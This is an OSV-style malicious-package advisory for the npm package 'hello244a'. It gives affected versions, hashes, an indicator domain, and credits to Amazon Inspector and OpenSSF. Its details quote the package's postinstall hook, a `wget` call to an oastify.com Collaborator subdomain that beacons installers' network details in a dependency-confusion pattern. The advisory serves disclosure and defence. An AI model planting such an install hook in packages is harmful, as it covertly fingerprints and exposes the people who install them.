{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "domains": [
            "eodxy50gl486xrx.m.pipedream.net"
          ],
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "2719080b3d43f2cb66ec0676ff1b8a361865a24dfebaf680640b0af79b1434f9",
              "tlsh": "abd02278982cab922ac94e2410708286bc027b4b00019c0c82f36a80d60eaf13820658"
            }
          ],
          "package_integrity": [
            {
              "filename": "hello244a-1.0.1.tgz",
              "hashes": {
                "sha1": "e9bc95f41415b1a4287d14808c24310308f79dd9",
                "sha512_sri": "sha512-lr7OR+XIhzEP1+n2xFO6kYuUkzqwBkDoy3TET2rzbegbAhkiUDGEVeb0i/IJuITu9Py4wM4IDbwzdy4KOGPikg=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "hello244a"
      },
      "versions": [
        "1.0.4",
        "1.0.1",
        "1.0.0",
        "1.0.3",
        "1.0.2",
        "1.0.12",
        "1.0.16",
        "1.0.20",
        "1.0.25",
        "1.0.29",
        "1.0.32"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    },
    {
      "contact": [
        "https://github.com/ossf/package-analysis",
        "https://openssf.slack.com/channels/package_analysis"
      ],
      "name": "OpenSSF: Package Analysis",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "import_time": "2026-06-04T21:07:20.53138277Z",
        "modified_time": "2026-06-04T21:00:39Z",
        "sha256": "3d7e9578338cca22e41d1ac1345136162b5441eb57090bb89fbc73bd37976c71",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.4"
        ]
      },
      {
        "import_time": "2026-06-04T21:07:20.475512872Z",
        "modified_time": "2026-06-04T20:49:51Z",
        "sha256": "6aa25ec24867364311a41390382cbdfeaf0fcf1d6abe655c14ade480176c0c75",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.1"
        ]
      },
      {
        "id": "IN-MAL-2026-005457",
        "import_time": "2026-06-11T05:40:56.754936467Z",
        "modified_time": "2026-06-11T04:35:39Z",
        "sha256": "888c12225acb50e47bd79ffd546a7e4d54895f9ed301ebb65074a6e32a542dae",
        "source": "amazon-inspector",
        "versions": [
          "1.0.1"
        ]
      },
      {
        "id": "IN-MAL-2026-005458",
        "import_time": "2026-06-11T05:40:56.860826845Z",
        "modified_time": "2026-06-11T04:35:50Z",
        "sha256": "c0816d6d3c6e3a2474dad6d42b1394acee44aa51824aa01e873bcd1060fd1982",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "id": "IN-MAL-2026-006190",
        "import_time": "2026-06-12T19:44:18.219334813Z",
        "modified_time": "2026-06-12T19:10:55Z",
        "sha256": "02e5f7412a9593e0ec3d0d8c28082c01edff82746bd48966c6fb88a3b1f88866",
        "source": "amazon-inspector",
        "versions": [
          "1.0.3"
        ]
      },
      {
        "id": "IN-MAL-2026-006191",
        "import_time": "2026-06-12T19:44:18.334749193Z",
        "modified_time": "2026-06-12T19:10:56Z",
        "sha256": "0b2e823e6d5e19159f5d0f3c0d1fceaef1c90eb961cc6f31f9bd93e5cf765910",
        "source": "amazon-inspector",
        "versions": [
          "1.0.4"
        ]
      },
      {
        "id": "IN-MAL-2026-006188",
        "import_time": "2026-06-12T19:44:18.020580587Z",
        "modified_time": "2026-06-12T19:10:53Z",
        "sha256": "10a78ee000df4d44b374e3d0886388c55f98cf8079e5d600d2c28bec6f9089c8",
        "source": "amazon-inspector",
        "versions": [
          "1.0.2"
        ]
      },
      {
        "id": "IN-MAL-2026-006189",
        "import_time": "2026-06-12T19:44:18.120650349Z",
        "modified_time": "2026-06-12T19:10:54Z",
        "sha256": "678309e1e7a48b9a291fbaeb58750b2c6921160ce8e7a0413b56ecf6b5ee1bf1",
        "source": "amazon-inspector",
        "versions": [
          "1.0.2"
        ]
      },
      {
        "import_time": "2026-07-03T18:32:29.325237435Z",
        "modified_time": "2026-07-03T17:40:45Z",
        "sha256": "91844b3ed7a531e129cbdeef1746ccd1e8e981f74da00aa2a4aef2edf6b47dbf",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.12"
        ]
      },
      {
        "import_time": "2026-07-03T18:32:29.542429228Z",
        "modified_time": "2026-07-03T18:00:38Z",
        "sha256": "8041e418ff653833ccd295f93673f289bc9fbc515fb66680718a053bc1a4de5b",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.16"
        ]
      },
      {
        "import_time": "2026-07-03T19:33:08.08975909Z",
        "modified_time": "2026-07-03T19:00:30Z",
        "sha256": "5d451899f4d8d2ab7d7880503508e1132530436029c89933a9a4d57d8445755a",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.20"
        ]
      },
      {
        "import_time": "2026-07-03T20:53:43.596388552Z",
        "modified_time": "2026-07-03T20:43:55Z",
        "sha256": "ee3e52c15cbbd220437f536d5d1b15119cc47dd5adee86a7f70e36eae18dd787",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.25"
        ]
      },
      {
        "import_time": "2026-07-03T21:28:18.777844578Z",
        "modified_time": "2026-07-03T20:57:27Z",
        "sha256": "2797c2039b59e4ef136dabab4bfb2113ba47609d040d48d70e5f24122991256f",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.29"
        ]
      },
      {
        "import_time": "2026-07-03T21:53:22.730752809Z",
        "modified_time": "2026-07-03T21:51:02Z",
        "sha256": "e67e1ac3ebe0599f1ef7628bfed93f89dc1ceaa934b133497b0d06e941c8d289",
        "source": "ossf-package-analysis",
        "versions": [
          "1.0.32"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (02e5f7412a9593e0ec3d0d8c28082c01edff82746bd48966c6fb88a3b1f88866)\nThe package contains no library code, no main entry, and no documented functionality. Its only file is package.json, which declares a postinstall script: `wget --quiet \"http://whh5mwn8dlvrjgpe32tqrnu3eukl8kw9.oastify.com/\"`. On `npm install`, the lifecycle hook fires automatically and performs a plain-HTTP GET to a unique per-victim subdomain on oastify.com (Burp Suite Collaborator, an out-of-band interaction host). The DNS resolution and HTTP request disclose the installer\u0027s public IP, DNS resolver, hostname, and internal network position to whoever provisioned that Collaborator instance. The package has no purpose other than this beacon \u2014 it is the canonical dependency-confusion / typosquat-shell pattern used to fingerprint installers and prove exploitability of name-resolution weaknesses in private registries.\n\n## Source: ossf-package-analysis (91844b3ed7a531e129cbdeef1746ccd1e8e981f74da00aa2a4aef2edf6b47dbf)\nThe OpenSSF Package Analysis project identified \u0027hello244a\u0027 @ 1.0.12 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n",
  "id": "MAL-2026-5188",
  "modified": "2026-07-03T21:55:02Z",
  "published": "2026-06-04T20:49:51Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/hello244a/v/1.0.1"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/hello244a/v/1.0.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/hello244a/v/1.0.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/hello244a/v/1.0.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/hello244a/v/1.0.2"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in hello244a (npm)"
}